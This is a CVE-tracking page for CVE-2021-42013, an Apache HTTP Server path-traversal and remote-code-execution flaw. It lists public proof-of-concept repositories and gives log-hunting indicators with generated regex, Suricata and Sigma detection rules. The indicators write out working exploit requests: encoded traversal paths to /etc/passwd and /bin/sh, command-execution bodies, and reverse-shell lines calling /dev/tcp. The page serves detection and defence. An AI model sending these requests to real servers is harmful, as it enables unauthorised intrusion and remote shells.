PoC Monitor
← All CVEs
CVE-2021-42013published 7 Oct 2021 15:50 UTCData: JSON · API

Apache Software Foundation Apache HTTP Server

Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773)

It was found that the fix for CVE-2021-41773 in Apache HTTP Server 2.4.50 was insufficient. An attacker could use a path traversal attack to map URLs to files outside the directories configured by Alias-like directives. If files outside of these directories are not protected by the usual default configuration "require all denied", these requests can succeed. If CGI scripts are also enabled for these aliased pathes, this could allow for remote code execution. This issue only affects Apache 2.4.49 and Apache 2.4.50 and not earlier versions.

First public PoC 1.6 days beforebefore publication · 6 Oct 2021
Public PoCs5347 on GitHub · 6 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CISA ADP · CWE-22
CISA KEV 3 Nov 202127 days after publication · ransomware use known

Timeline

Days relative to CVE publication
t=0+7+14+21+28First public PoC6 Oct 2021 · t−1.6dCVE published7 Oct 2021 · t = 0Added to CISA KEV3 Nov 2021 · t+27d

First public PoC 1.6 days before publication; added to CISA KEV 27 days after publication. First PoC: Ls4ss/CVE-2021-41773_CVE-2021-42013 (created 6 Oct 2021, found by us: backfilled).

PoC repositories

Found on GitHub.

47 PoCs · 10 pending · 8 informational · 2 not a PoC

PoCs 47
RepositoryCreatedStarsAssessment
Ls4ss/CVE-2021-41773_CVE-2021-42013 6 Oct 2021 −1.6 d 20 PoC
pisut4152/Sigma-Rule-for-CVE-2021-41773-and-CVE-2021-42013-exploitation-attempt 8 Oct 2021 +13 h 0 Scanner
Vulnmachines/cve-2021-42013 8 Oct 2021 +14 h 16 PoC via PoC Index
5gstudent/cve-2021-41773-and-cve-2021-42013 9 Oct 2021 +1.8 d 2 PoC
twseptian/cve-2021-42013-docker-lab 14 Oct 2021 +7.1 d 2 PoC
LayarKacaSiber/CVE-2021-42013 20 Oct 2021 +13 d 0 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

TheLastVvV/CVE-2021-42013 23 Oct 2021 +16 d 2 PoC
TheLastVvV/CVE-2021-42013_Reverse-Shell 24 Oct 2021 +17 d 7 PoC
walnutsecurity/cve-2021-42013 27 Oct 2021 +20 d 30 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

robotsense1337/CVE-2021-42013 3 Nov 2021 +27 d 1 PoC
xMohamed0/CVE-2021-42013-ApacheRCE 14 Nov 2021 +38 d 0 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp 23 Dec 2021 +77 d 10 PoC
jas9reet/CVE-2021-42013-LAB 3 Feb 2022 +119 d 1 PoC
mauricelambert/CVE-2021-42013 8 Mar 2022 +152 d 1 PoC
CalfCrusher/Path-traversal-RCE-Apache-2.4.49-2.4.50-Exploit 4 Apr 2022 +179 d 10 PoC
hadrian3689/apache_2.4.50 18 Apr 2022 +193 d 0 PoC
viliuspovilaika/cve-2021-42013 31 May 2022 +235 d 0 PoC
mightysai1997/cve-2021-42013 15 Sep 2022 +343 d 0 PoC
mightysai1997/cve-2021-42013L 15 Sep 2022 +343 d 0 PoC via PoC Index
mightysai1997/cve-2021-42013.get 15 Sep 2022 +343 d 0 PoC
12345qwert123456/CVE-2021-42013 18 Nov 2022 +1.1 y 0 PoC via PoC Index
blackn0te/Apache-HTTP-Server-2.4.49-2.4.50-Path-Traversal-Remote-Code-Execution 22 Nov 2022 +1.1 y 13 PoC via PoC Index
0xGabe/Apache-CVEs 3 Jun 2023 +1.7 y 0 PoC
sergiovks/LFI-RCE-Unauthenticated-Apache-2.4.49-2.4.50 5 Jun 2023 +1.7 y 6 PoC via PoC Index
vudala/CVE-2021-42013 20 Jun 2023 +1.7 y 1 PoC
Hamesawian/CVE-2021-42013 29 Jun 2023 +1.7 y 1 PoC via PoC Index
OfriOuzan/CVE-2021-41773_CVE-2021-42013_Exploits 2 Aug 2023 +1.8 y 4 PoC
BassoNicolas/CVE-2021-42013 7 Apr 2024 +2.5 y 3 PoC
quentin33980/ToolBox-qgt 15 Apr 2024 +2.5 y 0 PoC via PoC Index
enciphers-team/cve-exploits 5 May 2024 +2.6 y 0 PoC via PoC Index
Jhonsonwannaa/cve-2021-42013-apache 16 Jul 2024 +2.8 y 0 PoC
dream434/cve-2021-42013-apache 16 Jul 2024 +2.8 y 0 PoC
bananoname/cve-2021-42013 31 Jul 2024 +2.8 y 1 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

Zyx2440/Apache-HTTP-Server-2.4.50-RCE 26 Aug 2024 +2.9 y 2 PoC
Flags · score 30
  • owner account created less than 7 days before the repo

Below the suspicion threshold (50); does not change the assessment.

asepsaepdin/CVE-2021-42013 30 Jan 2025 +3.3 y 0 PoC
MagicGautam/CVEs-Proof-Of-Concept 5 Apr 2025 +3.5 y 0 PoC via PoC Index
Urbank-61/CSC180Final 28 Apr 2025 +3.6 y 0 PoC
Makavellik/POC-CVE-2021-42013-EXPLOIT 5 Sep 2025 +3.9 y 0 PoC
FakhriCRD/Apache-CVE-2021-42013-RCE-Exploit 28 Oct 2025 +4.1 y 0 PoC
drackyjr/CVE-2021-42013 19 Nov 2025 +4.1 y 1 Scanner
ranasen-rat/cve-2021-42013 24 Jan 2026 +4.3 y 0 PoC
zeynepglygt/apache-cve-2021-42013-rce 12 Mar 2026 +4.4 y 0 PoC via PoC Index
lmcewen9/cve-2021-42013 12 May 2026 +4.6 y 0 PoC
Joapath/CVE-2021-42013 24 Jun 2026 +4.7 y 0 PoC
eunho87/CVE-2021-42013 8 Jul 2026 +4.7 y 0 PoC
andreamammano89-maker/CVE-2021-42013_821311 19 Aug 2026 +4.9 y 0 PoC
CyberCTF/vulhub-httpd-cve-2021-42013 8 Oct 2026 +5.0 y 0 PoC
Pending 10
RepositoryCreatedStarsAssessment
andrea-mattioli/apache-exploit-CVE-2021-42013 7 Oct 2021 +3 h 9 Pending · repository exceeds size limit via PoC Index
Adashz/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
K3ysTr0K3R/CVE-2021-42013-EXPLOIT unknown 0 Pending · repository unavailable (HTTP 404)
Rubikcuv5/cve-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
ahmad4fifz/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
birdlinux/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
honypot/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
imhunterand/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
rafifdna/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
theykillmeslowly/CVE-2021-42013 unknown 0 Pending · repository unavailable (HTTP 404)
Informational 8
RepositoryCreatedFound by usStarsAssessment
inbug-team/CVE-2021-41773_CVE-2021-42013 9 Oct 2021 +1.5 d backfilled 147 Informational · write-up
IcmpOff/Apache-2.4.49-2.4.50-Traversal-Remote-Code-Execution-Exploit 9 Nov 2021 +32 d backfilled 1 Informational · write-up
rnsss/CVE-2021-42013 7 Jan 2022 +91 d backfilled 0 Informational · write-up
cybfar/cve-2021-42013-httpd 8 Jun 2023 +1.7 y backfilled 1 Informational · write-up
Vanshuk-Bhagat/Apache-HTTP-Server-Vulnerabilities-CVE-2021-41773-and-CVE-2021-42013 11 Mar 2025 +3.4 y backfilled 0 Informational · write-up
psibot/apache-vulnerable 1 Jul 2025 +3.7 y backfilled 1 Informational · detection
berraesen/apache-cve-2021-42013-lab 20 Jul 2026 +4.8 y backfilled 0 Informational · write-up
Flags · score 35
  • README asks to download a release/binary/archive

Below the suspicion threshold (50); does not change the assessment.

mhd964/CVE-2021-42013 4 Nov 2026 +5.1 y 14 Nov 2026 0 Informational · write-up
Not a PoC 2
RepositoryCreatedFound by usStarsAssessment
r0otk3r/CVE-2021-41773 5 Jul 2025 +3.7 y backfilled 0 Not a PoC · unrelated
Dyp2005/hdu-is-work1 21 Oct 2026 +5.0 y 14 Nov 2026 0 Not a PoC · unrelated

Only PoCs count toward the first-PoC date and the characteristics below. "Backfilled" means we found the repository more than 30 days after it was created. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.

PoC characteristics

What to hunt for in your logs · from 47 PoC repos

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0; zmSkin=classic Upgrade-Insecure-Requests: 1
Body markers
echo Content-Type: text/plain; echo;ls /
Ports
55493
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1
Seen in
2 repos: asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp, sergiovks/LFI-RCE-Unauthenticated-Apache-2.4.49-2.4.50
Evidence
asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp/README.md:48 sergiovks/LFI-RCE-Unauthenticated-Apache-2.4.49-2.4.50/exploit.py:21

GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Language: zh-CN,zh;q=0.9 Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0; zmSkin=classic Upgrade-Insecure-Requests: 1
Ports
8080, 55493
PoC User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Seen in
2 repos: CyberCTF/vulhub-httpd-cve-2021-42013, asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp
Evidence
CyberCTF/vulhub-httpd-cve-2021-42013/app/README.md:34 CyberCTF/vulhub-httpd-cve-2021-42013/app/README.zh-cn.md:32 asaotomo/CVE-2021-42013-Apache-RCE-Poc-Exp/README.md:31

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh

Body markers
echo Content-Type: text/plain; echo; $cmd= echo Content-Type: text/plain; echo; id= in application/x-www-form-urlencoded
Ports
80, 8088
Seen in
2 repos: jas9reet/CVE-2021-42013-LAB, twseptian/cve-2021-42013-docker-lab
Evidence
jas9reet/CVE-2021-42013-LAB/exploit.sh:15 twseptian/cve-2021-42013-docker-lab/README.md:71

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

Body markers
echo;id= in application/x-www-form-urlencoded
Ports
8080
PoC User-Agent
Mozilla/5.0 (X11; Gentoo; rv:82.1) Gecko/20100101 Firefox/82.1
Seen in
2 repos: CyberCTF/vulhub-httpd-cve-2021-42013, sergiovks/LFI-RCE-Unauthenticated-Apache-2.4.49-2.4.50
Evidence
CyberCTF/vulhub-httpd-cve-2021-42013/app/README.md:44 CyberCTF/vulhub-httpd-cve-2021-42013/app/README.zh-cn.md:42 sergiovks/LFI-RCE-Unauthenticated-Apache-2.4.49-2.4.50/exploit.py:57 sergiovks/LFI-RCE-Unauthenticated-Apache-2.4.49-2.4.50/exploit.py:85

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh

Body markers
echo Content-Type: text/plain; echo; id= echo; id= in application/x-www-form-urlencoded
Ports
8080
Seen in
2 repos: Urbank-61/CSC180Final, zeynepglygt/apache-cve-2021-42013-rce
Evidence
Urbank-61/CSC180Final/README.md:50 zeynepglygt/apache-cve-2021-42013-rce/README.md:74

GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

Ports
80
Seen in
1 repo: twseptian/cve-2021-42013-docker-lab
Evidence
twseptian/cve-2021-42013-docker-lab/README.md:15

GET /cgi-bin/.%2e%2e/.%2e%2e/.%2e%2e/.%2e%2e/etc/passwd

Ports
8080
Seen in
1 repo: Urbank-61/CSC180Final
Evidence
Urbank-61/CSC180Final/exploit.py:6

GET /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/flag.txt

Ports
8080
Seen in
1 repo: MagicGautam/CVEs-Proof-Of-Concept
Evidence
MagicGautam/CVEs-Proof-Of-Concept/README.md:108

GET /cgi-bin/test.sh

Ports
8080
Seen in
1 repo: MagicGautam/CVEs-Proof-Of-Concept
Evidence
MagicGautam/CVEs-Proof-Of-Concept/README.md:96

GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65{var}

Ports
8080
Seen in
1 repo: andreamammano89-maker/CVE-2021-42013_821311
Evidence
andreamammano89-maker/CVE-2021-42013_821311/cve-2021-42013/exploit/lfi.sh:21

GET /icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd

Seen in
1 repo: zeynepglygt/apache-cve-2021-42013-rce
Evidence
zeynepglygt/apache-cve-2021-42013-rce/README.md:70

GET /static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

Ports
8080
Seen in
1 repo: eunho87/CVE-2021-42013
Evidence
eunho87/CVE-2021-42013/README.md:51

GET /tmp/text.sh

Ports
8080
Seen in
1 repo: enciphers-team/cve-exploits
Evidence
enciphers-team/cve-exploits/CVE-2025-55182.py:17

POST /

Query
rest_route=/reallysimplessl/v1/two_fa/skip_onboarding
Body markers
echo; /bin/bash -c 'bash -i >& /dev/tcp/ in application/json
Ports
8080
Seen in
1 repo: enciphers-team/cve-exploits
Evidence
enciphers-team/cve-exploits/CVE-2024-10924.py:17 enciphers-team/cve-exploits/cve-2021-42013-exploit.sh:24

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash

Body markers
echo Content-Type: text/plain; echo; bash -i >= /dev/tcp/172.17.0.1/4444 0>= 1= in application/x-www-form-urlencoded
Ports
80
Seen in
1 repo: twseptian/cve-2021-42013-docker-lab
Evidence
twseptian/cve-2021-42013-docker-lab/README.md:77

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/bash

Body markers
echo Content-Type: text/plain; echo; id= in application/x-www-form-urlencoded
Ports
8080
Seen in
1 repo: 12345qwert123456/CVE-2021-42013
Evidence
12345qwert123456/CVE-2021-42013/README.md:26

POST /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh

Body markers
echo Content-Type: text/plain; echo; id; uname -a= in application/x-www-form-urlencoded
Ports
8080
Seen in
1 repo: eunho87/CVE-2021-42013
Evidence
eunho87/CVE-2021-42013/README.md:59

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/bash

Body markers
echo Content-Type: text/plain; echo; {var}= in application/x-www-form-urlencoded
Ports
8080
Seen in
1 repo: andreamammano89-maker/CVE-2021-42013_821311
Evidence
andreamammano89-maker/CVE-2021-42013_821311/cve-2021-42013/exploit/rce.sh:22

POST /cgi-bin/.%2e%2e/.%2e%2e/.%2e%2e/.%2e%2e/bin/sh

Body markers
echo Content-Type: text/plain; echo; id
Ports
8080
Seen in
1 repo: Urbank-61/CSC180Final
Evidence
Urbank-61/CSC180Final/exploit.py:11

POST /cgi-bin/{var}/bin/sh

Key headers
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1
Body markers
echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/ in text/html;charset=UTF8
Ports
80
PoC User-Agent
Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Seen in
1 repo: twseptian/cve-2021-42013-docker-lab
Evidence
twseptian/cve-2021-42013-docker-lab/rce1.py:68 twseptian/cve-2021-42013-docker-lab/rce2.py:79

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
(?i)^/cgi-bin/\.%%32%65/\.%%32%65/\.%%32%65/\.%%32%65/etc/passwd(?:[?#].*)?$
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
(?i)^/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd(?:[?#].*)?$
GET /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
(?i)^/cgi-bin/\.%%32e/\.%%32e/\.%%32e/\.%%32e/etc/passwd(?:[?#].*)?$
GET /cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd
(?i)^/cgi-bin/\.%2%65/\.%2%65/\.%2%65/\.%2%65/etc/passwd(?:[?#].*)?$
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
(?i)^/cgi-bin/\.%%32%65/\.%%32%65/\.%%32%65/\.%%32%65/\.%%32%65/\.%%32%65/\.%%32%65/bin/sh(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2021-42013 Apache Software Foundation Apache HTTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd"; reference:url,poc.griffinguard.io/cve/CVE-2021-42013; classtype:web-application-attack; sid:9340884; rev:1;)
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2021-42013 Apache Software Foundation Apache HTTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"; reference:url,poc.griffinguard.io/cve/CVE-2021-42013; classtype:web-application-attack; sid:9563008; rev:1;)
GET /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2021-42013 Apache Software Foundation Apache HTTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd"; reference:url,poc.griffinguard.io/cve/CVE-2021-42013; classtype:web-application-attack; sid:9852120; rev:1;)
GET /cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd
alert http any any -> $HOME_NET any (msg:"GG PoC-Monitor CVE-2021-42013 Apache Software Foundation Apache HTTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd"; reference:url,poc.griffinguard.io/cve/CVE-2021-42013; classtype:web-application-attack; sid:9734292; rev:1;)
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
alert http any any -> $HOME_NET [55493] (msg:"GG PoC-Monitor CVE-2021-42013 Apache Software Foundation Apache HTTP Server exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh"; http.header; content:"Accept: text/html,application/xhtml+xml,application/xml|3b|q=0.9,image/avif,image/webp,image/apng,*/*|3b|q=0.8,application/signed-exchange|3b|v=b3|3b|q=0.9"; nocase; http.header; content:"Accept-Language: zh-CN,zh|3b|q=0.9"; nocase; http.header; content:"Cookie: ZMSESSID=fcnisfo6rj1snid6e5r27kj1n0|3b| zmSkin=classic"; nocase; http.header; content:"Upgrade-Insecure-Requests: 1"; nocase; http.request_body; content:"echo Content-Type: text/plain|3b| echo|3b|ls /"; reference:url,poc.griffinguard.io/cve/CVE-2021-42013; classtype:web-application-attack; sid:9465736; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
title: Apache Software Foundation Apache HTTP Server exploit attempt (CVE-2021-42013)
id: gg-pocmon-cve-2021-42013-9340884
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-42013. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-42013
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.42013
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
title: Apache Software Foundation Apache HTTP Server exploit attempt (CVE-2021-42013)
id: gg-pocmon-cve-2021-42013-9563008
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-42013. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-42013
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.42013
GET /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
title: Apache Software Foundation Apache HTTP Server exploit attempt (CVE-2021-42013)
id: gg-pocmon-cve-2021-42013-9852120
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-42013. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-42013
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.42013
GET /cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd
title: Apache Software Foundation Apache HTTP Server exploit attempt (CVE-2021-42013)
id: gg-pocmon-cve-2021-42013-9734292
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-42013. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-42013
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/cgi-bin/.%2%65/.%2%65/.%2%65/.%2%65/etc/passwd'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.42013
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
title: Apache Software Foundation Apache HTTP Server exploit attempt (CVE-2021-42013)
id: gg-pocmon-cve-2021-42013-9465736
status: experimental
description: Request pattern taken from public PoCs for CVE-2021-42013. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2021-42013
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2021.42013